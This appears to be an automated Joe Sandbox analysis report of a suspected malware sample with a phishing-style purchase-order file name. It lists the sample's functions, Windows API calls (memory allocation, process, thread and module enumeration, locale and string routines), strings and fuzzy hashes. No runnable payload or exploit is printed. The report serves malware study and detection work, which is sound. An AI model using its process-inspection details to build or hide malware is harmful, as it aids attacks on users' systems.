Associated: 00000000.00000002.1587790869.0000000002B3E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1588336495.0000000002B97000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1588336495.0000000002C8B000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1588336495.0000000002C8E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b10000_PURCHASE REQUIRED DETAILS 000487958790903403.jbxd

Similarity

API ID: Eventtime
String ID:
API String ID: 2982266575-0
Opcode ID: a137e6f06a96d74b7f3f0bdf43336006e5c015fd4fa38c76e488d3fdd41733e3
Instruction ID: 39911893dd863e4479374ed1cf27a7928856dffec38f1e797a8c7f914e773a37
Opcode Fuzzy Hash: a137e6f06a96d74b7f3f0bdf43336006e5c015fd4fa38c76e488d3fdd41733e3
Instruction Fuzzy Hash: CEC092F27D03003AFA1196A55CC2F732A9DD705B14F608592B704FE2C1D2F36C104E68

Function 02B14C38 Relevance: 1.5, APIs: 1, Instructions: 10memoryCOMMON

Download Yara Rule

APIs

SysAllocStringLen.OLEAUT32(00000000,?), ref: 02B14C3F

Memory Dump Source

Source File: 00000000.00000002.1587499429.0000000002B11000.00000020.00001000.00020000.00000000.sdmp, Offset: 02B10000, based on PE: true

Associated: 00000000.00000002.1587450312.0000000002B10000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1587790869.0000000002B3E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1588336495.0000000002B97000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1588336495.0000000002C8B000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1588336495.0000000002C8E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b10000_PURCHASE REQUIRED DETAILS 000487958790903403.jbxd

Similarity

API ID: AllocString
String ID:
API String ID: 2525500382-0
Opcode ID: c6798f38304dee73ceb65798926069c1248633c6a97c564d7c3bc885b6e1b3e2
Instruction ID: 80e7b4fa2771d971173456c0e5e36c09b9ea44270529d425196c900267da826c
Opcode Fuzzy Hash: c6798f38304dee73ceb65798926069c1248633c6a97c564d7c3bc885b6e1b3e2
Instruction Fuzzy Hash: FDB0127421C24116FE5C22620F00773009C8B41386FC800D19F18C80D0FB04C0018835

Function 02B14C50 Relevance: 1.5, APIs: 1, Instructions: 6COMMON

Download Yara Rule

APIs

SysFreeString.OLEAUT32(00000000), ref: 02B14C57

Memory Dump Source

Source File: 00000000.00000002.1587499429.0000000002B11000.00000020.00001000.00020000.00000000.sdmp, Offset: 02B10000, based on PE: true

Associated: 00000000.00000002.1587450312.0000000002B10000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1587790869.0000000002B3E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1588336495.0000000002B97000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1588336495.0000000002C8B000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1588336495.0000000002C8E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b10000_PURCHASE REQUIRED DETAILS 000487958790903403.jbxd

Similarity

API ID: FreeString
String ID:
API String ID: 3341692771-0
Opcode ID: 05d179978c84ba0f1e4fbba25b3378a330cde3301f36e90d6d70bb160c3e4cb6
Instruction ID: 7fab6391d8bb3388698cf6e1a0aeee282a6f682a804cd6c57ff98dd133c6f0ed
Opcode Fuzzy Hash: 05d179978c84ba0f1e4fbba25b3378a330cde3301f36e90d6d70bb160c3e4cb6
Instruction Fuzzy Hash: A1A011A82002020A8A0A222C002002A2232AFC23003C8C0E80A000A0008A2A8000A8A0

Function 02B115CC Relevance: 1.3, APIs: 1, Instructions: 38memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,00140000,00001000,00000004,?,02B11A03,?,02B12000), ref: 02B115E2

Memory Dump Source

Source File: 00000000.00000002.1587499429.0000000002B11000.00000020.00001000.00020000.00000000.sdmp, Offset: 02B10000, based on PE: true

Associated: 00000000.00000002.1587450312.0000000002B10000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1587790869.0000000002B3E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1588336495.0000000002B97000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1588336495.0000000002C8B000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1588336495.0000000002C8E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b10000_PURCHASE REQUIRED DETAILS 000487958790903403.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: add1d25e9b06a38976e9739ab60de12cb0c8c68fa94a6485f583b1dc406359c0
Instruction ID: 03fe3878f1d59a8ade3a4162fc87491624ccb50e7479ac0ca99848020e6f1941
Opcode Fuzzy Hash: add1d25e9b06a38976e9739ab60de12cb0c8c68fa94a6485f583b1dc406359c0
Instruction Fuzzy Hash: AEF04FF0B513004FDB09CFB99A503017BF2E78A388F508579D609DB384E77684028B00

Function 02B11682 Relevance: 1.3, APIs: 1, Instructions: 36memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,?,00101000,00000004,?,?,?,?,02B12000), ref: 02B116A4

Memory Dump Source

Source File: 00000000.00000002.1587499429.0000000002B11000.00000020.00001000.00020000.00000000.sdmp, Offset: 02B10000, based on PE: true

Associated: 00000000.00000002.1587450312.0000000002B10000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1587790869.0000000002B3E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1588336495.0000000002B97000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1588336495.0000000002C8B000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1588336495.0000000002C8E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b10000_PURCHASE REQUIRED DETAILS 000487958790903403.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: e687c5fe1affb83ddd0f8a8948e26b7330121b7f1f5df0ed158d2557d344ef44
Instruction ID: 2fea4167986781ebe706da96ff5ffa9d6f742aa5bbf9454daf73e14205420667
Opcode Fuzzy Hash: e687c5fe1affb83ddd0f8a8948e26b7330121b7f1f5df0ed158d2557d344ef44
Instruction Fuzzy Hash: E2F0BEB2B407956BDB109F6E9C80B82BB98FB003A4F454179FA4CDB340D776A8108BD4

Function 02B116E6 Relevance: 1.3, APIs: 1, Instructions: 25COMMON

Download Yara Rule

APIs

VirtualFree.KERNEL32(?,00000000,00008000,?,?,00000000,02B11FE4), ref: 02B11704

Memory Dump Source

Source File: 00000000.00000002.1587499429.0000000002B11000.00000020.00001000.00020000.00000000.sdmp, Offset: 02B10000, based on PE: true

Associated: 00000000.00000002.1587450312.0000000002B10000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1587790869.0000000002B3E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1588336495.0000000002B97000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1588336495.0000000002C8B000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1588336495.0000000002C8E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b10000_PURCHASE REQUIRED DETAILS 000487958790903403.jbxd

Similarity

API ID: FreeVirtual
String ID:
API String ID: 1263568516-0
Opcode ID: 97f519263cb5df7011c1af165be911f97bbda741756247ca3623780b237330ed
Instruction ID: 86618f5e5291e47f99156ca1a41058ff12f6aa9fbee49080096b6405d6bf4e10
Opcode Fuzzy Hash: 97f519263cb5df7011c1af165be911f97bbda741756247ca3623780b237330ed
Instruction Fuzzy Hash: C5E0C2B5320301AFEB105F7E5D80B12BBDCEF48664FA444BAF749DB381D2A0E8108B64

Non-executed Functions

Function 02B2AB1C Relevance: 59.6, APIs: 17, Strings: 17, Instructions: 99libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(kernel32.dll,00000002,02B2ADA3,?,?,02B2AE35,00000000,02B2AF11), ref: 02B2AB30
GetProcAddress.KERNEL32(00000000,CreateToolhelp32Snapshot), ref: 02B2AB48
GetProcAddress.KERNEL32(00000000,Heap32ListFirst), ref: 02B2AB5A
GetProcAddress.KERNEL32(00000000,Heap32ListNext), ref: 02B2AB6C
GetProcAddress.KERNEL32(00000000,Heap32First), ref: 02B2AB7E
GetProcAddress.KERNEL32(00000000,Heap32Next), ref: 02B2AB90
GetProcAddress.KERNEL32(00000000,Toolhelp32ReadProcessMemory), ref: 02B2ABA2
GetProcAddress.KERNEL32(00000000,Process32First), ref: 02B2ABB4
GetProcAddress.KERNEL32(00000000,Process32Next), ref: 02B2ABC6
GetProcAddress.KERNEL32(00000000,Process32FirstW), ref: 02B2ABD8
GetProcAddress.KERNEL32(00000000,Process32NextW), ref: 02B2ABEA
GetProcAddress.KERNEL32(00000000,Thread32First), ref: 02B2ABFC
GetProcAddress.KERNEL32(00000000,Thread32Next), ref: 02B2AC0E
GetProcAddress.KERNEL32(00000000,Module32First), ref: 02B2AC20
GetProcAddress.KERNEL32(00000000,Module32Next), ref: 02B2AC32
GetProcAddress.KERNEL32(00000000,Module32FirstW), ref: 02B2AC44
GetProcAddress.KERNEL32(00000000,Module32NextW), ref: 02B2AC56

Strings

Module32First, xrefs: 02B2AC18
Heap32ListNext, xrefs: 02B2AB64
Thread32First, xrefs: 02B2ABF4
Toolhelp32ReadProcessMemory, xrefs: 02B2AB9A
Process32First, xrefs: 02B2ABAC
Module32NextW, xrefs: 02B2AC4E
Heap32Next, xrefs: 02B2AB88
kernel32.dll, xrefs: 02B2AB2B
Heap32First, xrefs: 02B2AB76
Process32NextW, xrefs: 02B2ABE2
Heap32ListFirst, xrefs: 02B2AB52
Module32FirstW, xrefs: 02B2AC3C
CreateToolhelp32Snapshot, xrefs: 02B2AB40
Process32FirstW, xrefs: 02B2ABD0
Process32Next, xrefs: 02B2ABBE
Thread32Next, xrefs: 02B2AC06
Module32Next, xrefs: 02B2AC2A

Memory Dump Source

Source File: 00000000.00000002.1587499429.0000000002B11000.00000020.00001000.00020000.00000000.sdmp, Offset: 02B10000, based on PE: true

Associated: 00000000.00000002.1587450312.0000000002B10000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1587790869.0000000002B3E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1588336495.0000000002B97000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1588336495.0000000002C8B000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1588336495.0000000002C8E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b10000_PURCHASE REQUIRED DETAILS 000487958790903403.jbxd

Similarity

API ID: AddressProc$HandleModule
String ID: CreateToolhelp32Snapshot$Heap32First$Heap32ListFirst$Heap32ListNext$Heap32Next$Module32First$Module32FirstW$Module32Next$Module32NextW$Process32First$Process32FirstW$Process32Next$Process32NextW$Thread32First$Thread32Next$Toolhelp32ReadProcessMemory$kernel32.dll
API String ID: 667068680-597814768
Opcode ID: e221cf159f21c2b11cdf0c78b245a353d1add516cfbe8ce126889cb33164d392
Instruction ID: 9850fc4cf9ed551eaefa7cc161c4787925d1fdafef42a73977c19078ce779546
Opcode Fuzzy Hash: e221cf159f21c2b11cdf0c78b245a353d1add516cfbe8ce126889cb33164d392
Instruction Fuzzy Hash: 3B3114F0A91360AFEF00EBB4D985A6977E8EB16781B401DE1F805CF219EA74E804DF11

Function 02B15908 Relevance: 24.6, APIs: 11, Strings: 3, Instructions: 139stringlibraryfileCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(kernel32.dll,02B1737C,02B10000,02B3E790), ref: 02B15925
GetProcAddress.KERNEL32(?,GetLongPathNameA), ref: 02B1593C
lstrcpynA.KERNEL32(?,?,?), ref: 02B1596C
lstrcpynA.KERNEL32(?,?,?,kernel32.dll,02B1737C,02B10000,02B3E790), ref: 02B159D0
lstrcpynA.KERNEL32(?,?,00000001,?,?,?,kernel32.dll,02B1737C,02B10000,02B3E790), ref: 02B15A06
FindFirstFileA.KERNEL32(?,?,?,?,00000001,?,?,?,kernel32.dll,02B1737C,02B10000,02B3E790), ref: 02B15A19
FindClose.KERNEL32(?,?,?,?,?,00000001,?,?,?,kernel32.dll,02B1737C,02B10000,02B3E790), ref: 02B15A2B
lstrlenA.KERNEL32(?,?,?,?,?,?,00000001,?,?,?,kernel32.dll,02B1737C,02B10000,02B3E790), ref: 02B15A37
lstrcpynA.KERNEL32(?,?,00000104,?,?,?,?,?,?,00000001,?,?,?,kernel32.dll,02B1737C,02B10000), ref: 02B15A6B
lstrlenA.KERNEL32(?,?,?,00000104,?,?,?,?,?,?,00000001,?,?,?,kernel32.dll,02B1737C), ref: 02B15A77
lstrcpynA.KERNEL32(?,?,?,?,?,?,00000104,?,?,?,?,?,?,00000001,?,?), ref: 02B15A99

Strings

\, xrefs: 02B15A49
GetLongPathNameA, xrefs: 02B15933
kernel32.dll, xrefs: 02B15920

Memory Dump Source

Source File: 00000000.00000002.1587499429.0000000002B11000.00000020.00001000.00020000.00000000.sdmp, Offset: 02B10000, based on PE: true

Associated: 00000000.00000002.1587450312.0000000002B10000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1587790869.0000000002B3E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1588336495.0000000002B97000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1588336495.0000000002C8B000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1588336495.0000000002C8E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b10000_PURCHASE REQUIRED DETAILS 000487958790903403.jbxd

Similarity

API ID: lstrcpyn$Findlstrlen$AddressCloseFileFirstHandleModuleProc
String ID: GetLongPathNameA$\$kernel32.dll
API String ID: 3245196872-1565342463
Opcode ID: c4cff8e046979f3f225ec367358ea433210ad60c419e9a9d5ed35ed01914e410
Instruction ID: 905c21ffe8dacf7c1d34f93c8a29a4feee15821d9281af3665a937d068eacd2e
Opcode Fuzzy Hash: c4cff8e046979f3f225ec367358ea433210ad60c419e9a9d5ed35ed01914e410
Instruction Fuzzy Hash: 9A418171E10619AFDB20DAE8CC88ADEB3BDEF48340FC445E5A658E7245E774DA448F90

Function 02B15BD8 Relevance: 15.1, APIs: 10, Instructions: 98stringlibrarythreadCOMMON

Download Yara Rule

APIs

lstrcpynA.KERNEL32(?,?,00000105,80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?,80000002,Software\Borland\Locales,00000000,000F0019,?,80000001,Software\Borland\Locales,00000000), ref: 02B15BE8
GetThreadLocale.KERNEL32(00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?,80000002,Software\Borland\Locales,00000000,000F0019,?), ref: 02B15BF5
GetLocaleInfoA.KERNEL32(00000000,00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?,80000002,Software\Borland\Locales,00000000,000F0019), ref: 02B15BFB
lstrlenA.KERNEL32(?,00000000,00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?,80000002,Software\Borland\Locales,00000000), ref: 02B15C26
lstrcpynA.KERNEL32(00000001,?,00000105,?,00000000,00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?), ref: 02B15C6D
LoadLibraryExA.KERNEL32(?,00000000,00000002,00000001,?,00000105,?,00000000,00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales), ref: 02B15C7D
lstrcpynA.KERNEL32(00000001,?,00000105,?,00000000,00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?), ref: 02B15CA5
LoadLibraryExA.KERNEL32(?,00000000,00000002,00000001,?,00000105,?,00000000,00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales), ref: 02B15CB5
lstrcpynA.KERNEL32(00000001,?,00000105,?,00000000,00000002,00000001,?,00000105,?,00000000,00000003,?,00000005,?,?), ref: 02B15CDB
LoadLibraryExA.KERNEL32(?,00000000,00000002,00000001,?,00000105,?,00000000,00000002,00000001,?,00000105,?,00000000,00000003,?), ref: 02B15CEB

Strings

Software\Borland\Delphi\Locales, xrefs: 02B15B38
Software\Borland\Locales, xrefs: 02B15AFC, 02B15B1A

Memory Dump Source

Source File: 00000000.00000002.1587499429.0000000002B11000.00000020.00001000.00020000.00000000.sdmp, Offset: 02B10000, based on PE: true

Associated: 00000000.00000002.1587450312.0000000002B10000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1587790869.0000000002B3E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1588336495.0000000002B97000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1588336495.0000000002C8B000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1588336495.0000000002C8E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b10000_PURCHASE REQUIRED DETAILS 000487958790903403.jbxd

Similarity

API ID: lstrcpyn$LibraryLoad$Locale$InfoThreadlstrlen
String ID: Software\Borland\Delphi\Locales$Software\Borland\Locales
API String ID: 1599918012-2375825460
Opcode ID: 8b0727ff8eacdafd1fa5d25497bf18fe7d1f96c39f01eed16574b8fc4031b0a7
Instruction ID: 62d51a6d47bec3f5ff2a09b0e2781232562ec7bd0e096047ac09988cb12e3b6a
Opcode Fuzzy Hash: 8b0727ff8eacdafd1fa5d25497bf18fe7d1f96c39f01eed16574b8fc4031b0a7
Instruction Fuzzy Hash: 1B318471E4026C6AEB35DAB89C85FDF77AD9B44380FC401E29648E6181DB749F848F90

Function 02B17FD2 Relevance: 1.6, APIs: 1, Instructions: 50COMMON

Download Yara Rule

APIs

GetDiskFreeSpaceA.KERNEL32(?,?,?,?,?), ref: 02B17FF5

Memory Dump Source

Source File: 00000000.00000002.1587499429.0000000002B11000.00000020.00001000.00020000.00000000.sdmp, Offset: 02B10000, based on PE: true

Associated: 00000000.00000002.1587450312.0000000002B10000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1587790869.0000000002B3E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1588336495.0000000002B97000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1588336495.0000000002C8B000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1588336495.0000000002C8E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b10000_PURCHASE REQUIRED DETAILS 000487958790903403.jbxd

Similarity

API ID: DiskFreeSpace
String ID:
API String ID: 1705453755-0
Opcode ID: c3e0a068419184d7cdb4846bb4635073bd8f3b1816a615b6fba0b6092501f7fc
Instruction ID: d1b01f7b7ecbb76af78f08fd2bddc1c0b1fe0ed451d2bfef95bd40ca9d615cc0
Opcode Fuzzy Hash: c3e0a068419184d7cdb4846bb4635073bd8f3b1816a615b6fba0b6092501f7fc
Instruction Fuzzy Hash: A311C0B5A00209AF9B04CF99C881DBFF7F9FFC8300B54C569A509E7254E6719A018B90

Function 02B1A7C4 Relevance: 1.5, APIs: 1, Instructions: 29COMMON

Download Yara Rule

APIs

GetLocaleInfoA.KERNEL32(?,?,?,00000100), ref: 02B1A7E2

Memory Dump Source

Source File: 00000000.00000002.1587499429.0000000002B11000.00000020.00001000.00020000.00000000.sdmp, Offset: 02B10000, based on PE: true

Associated: 00000000.00000002.1587450312.0000000002B10000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1587790869.0000000002B3E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1588336495.0000000002B97000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1588336495.0000000002C8B000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1588336495.0000000002C8E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b10000_PURCHASE REQUIRED DETAILS 000487958790903403.jbxd

Similarity

API ID: InfoLocale
String ID:
API String ID: 2299586839-0
Opcode ID: e4a4f5238fe2b89d356e7e49d78e4b786299a6a1796c12883d610745802d8045
Instruction ID: 2c0be3ec501732e34097e27960e5e910dff8cef024a2f81397b4d0f33d2c2540
Opcode Fuzzy Hash: e4a4f5238fe2b89d356e7e49d78e4b786299a6a1796c12883d610745802d8045
Instruction Fuzzy Hash: 0BE0D871B0021417D311A5589C80EF6736D9B58310F8042FABD15C7385EDE0AE848BE4

Function 02B1B78C Relevance: 1.5, APIs: 1, Instructions: 26COMMON

Download Yara Rule

APIs

GetVersionExA.KERNEL32(?,02B3D106,00000000,02B3D11E), ref: 02B1B79A

Memory Dump Source

Source File: 00000000.00000002.1587499429.0000000002B11000.00000020.00001000.00020000.00000000.sdmp, Offset: 02B10000, based on PE: true

Associated: 00000000.00000002.1587450312.0000000002B10000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1587790869.0000000002B3E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1588336495.0000000002B97000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1588336495.0000000002C8B000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1588336495.0000000002C8E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b10000_PURCHASE REQUIRED DETAILS 000487958790903403.jbxd

Similarity

API ID: Version
String ID:
API String ID: 1889659487-0
Opcode ID: 1ca47c8ba3a81762b4421bee666ac1a0309ecbeb84c6d260fdcdcd5bc6f48df8
Instruction ID: 912d13be15c01edde08139fe5364f143dfaa3b64daf79b64149dd6a9a1cbc3a1
Opcode Fuzzy Hash: 1ca47c8ba3a81762b4421bee666ac1a0309ecbeb84c6d260fdcdcd5bc6f48df8
Instruction Fuzzy Hash: E4F09D74A44301DFD350DF28D441A1AB7E9FF48B94F808DAAEA9887380E734D8148B52

Function 02B1A810 Relevance: 1.5, APIs: 1, Instructions: 23COMMON

Download Yara Rule

APIs

GetLocaleInfoA.KERNEL32(00000000,0000000F,?,00000002,0000002C,?,?,00000000,02B1BE72,00000000,02B1C08B,?,?,00000000,00000000), ref: 02B1A823

Memory Dump Source

Source File: 00000000.00000002.1587499429.0000000002B11000.00000020.00001000.00020000.00000000.sdmp, Offset: 02B10000, based on PE: true

Associated: 00000000.00000002.1587450312.0000000002B10000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1587790869.0000000002B3E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1588336495.0000000002B97000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1588336495.0000000002C8B000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1588336495.0000000002C8E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b10000_PURCHASE REQUIRED DETAILS 000487958790903403.jbxd

Similarity

API ID: InfoLocale
String ID:
API String ID: 2299586839-0
Opcode ID: d4400675b37800bae6f97b663feac51f5f6a0a7098a31e52e30e5399d422cbaa
Instruction ID: d587ccab2ad496537fb049c2a83c85784c3b01e094b5767708e64874f5dbb2d0
Opcode Fuzzy Hash: d4400675b37800bae6f97b663feac51f5f6a0a7098a31e52e30e5399d422cbaa
Instruction Fuzzy Hash: 1CD05EA670E2602AA210A15A2D84DBB5ADCCFC67A1F8040BAB988C6101D210DD07DAB1

Function 02B1920C Relevance: 1.5, APIs: 1, Instructions: 6timeCOMMON

Download Yara Rule

APIs

GetLocalTime.KERNEL32 ref: 02B19210

Memory Dump Source

Source File: 00000000.00000002.1587499429.0000000002B11000.00000020.00001000.00020000.00000000.sdmp, Offset: 02B10000, based on PE: true

Associated: 00000000.00000002.1587450312.0000000002B10000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1587790869.0000000002B3E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1588336495.0000000002B97000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1588336495.0000000002C8B000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1588336495.0000000002C8E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b10000_PURCHASE REQUIRED DETAILS 000487958790903403.jbxd

Similarity

API ID: LocalTime
String ID:
API String ID: 481472006-0
Opcode ID: 2011951a752d329e78ca378c5827ecb81dc4292a3beff4a2dc5c32cf1b86488c
Instruction ID: 52f9ffa0ec4a7821e472b7f731096f940d11e3a87547e6358cbbc9d5af24f82d
Opcode Fuzzy Hash: 2011951a752d329e78ca378c5827ecb81dc4292a3beff4a2dc5c32cf1b86488c
Instruction Fuzzy Hash: F0A0124040582041854033180C0257431455921A20FC4878068F8402D0E91D01208093

Function 02B3E596 Relevance: .2, Instructions: 219COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1587790869.0000000002B3E000.00000004.00001000.00020000.00000000.sdmp, Offset: 02B10000, based on PE: true

Associated: 00000000.00000002.1587450312.0000000002B10000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1587499429.0000000002B11000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1588336495.0000000002B97000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1588336495.0000000002C8B000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1588336495.0000000002C8E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b10000_PURCHASE REQUIRED DETAILS 000487958790903403.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 379896293323490cab44bd705708037f6b70e4d15813b33b4a1e49e9f4173a34
Instruction ID: a2f31a942fd55c1e613ba96036e2faff5583385f20bfae2476d077f9317e6f00
Opcode Fuzzy Hash: 379896293323490cab44bd705708037f6b70e4d15813b33b4a1e49e9f4173a34
Instruction Fuzzy Hash: B3515B9284E7D18FC7638B7844B92D23FA0AE7722435E51DBC8D09F163E209990BDB51

Function 02B120C4 Relevance: .1, Instructions: 94COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1587499429.0000000002B11000.00000020.00001000.00020000.00000000.sdmp, Offset: 02B10000, based on PE: true

Associated: 00000000.00000002.1587450312.0000000002B10000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1587790869.0000000002B3E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1588336495.0000000002B97000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1588336495.0000000002C8B000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1588336495.0000000002C8E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b10000_PURCHASE REQUIRED DETAILS 000487958790903403.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b6d55ffda06be9354f45c85752ae1684c48c89628f5d423d6395e0bf3078b847
Instruction ID: d9ca5c35b085eece62e9f9345e2df5b5b2dbbbf6d6fdc43b5a6e4acac797e09a
Opcode Fuzzy Hash: b6d55ffda06be9354f45c85752ae1684c48c89628f5d423d6395e0bf3078b847
Instruction Fuzzy Hash: 44317E3213659B4EC7088B3CC8514ADAB93BE937353A843B7C071CB5D7D7B5A26E8290

Function 02B1D294 Relevance: 42.1, APIs: 1, Strings: 23, Instructions: 141COMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(oleaut32.dll), ref: 02B1D29D

Part of subcall function 02B1D268: GetProcAddress.KERNEL32(00000000), ref: 02B1D281

Strings

VarNot, xrefs: 02B1D2D7
VarDiv, xrefs: 02B1D32F
VarNeg, xrefs: 02B1D2C1
VarMod, xrefs: 02B1D35B
VarSub, xrefs: 02B1D303
VarXor, xrefs: 02B1D39D
VarCmp, xrefs: 02B1D3B3
VarBoolFromStr, xrefs: 02B1D437
VarR4FromStr, xrefs: 02B1D3DF
VarMul, xrefs: 02B1D319
VarBstrFromDate, xrefs: 02B1D463
VarOr, xrefs: 02B1D387
oleaut32.dll, xrefs: 02B1D298
VarI4FromStr, xrefs: 02B1D3C9
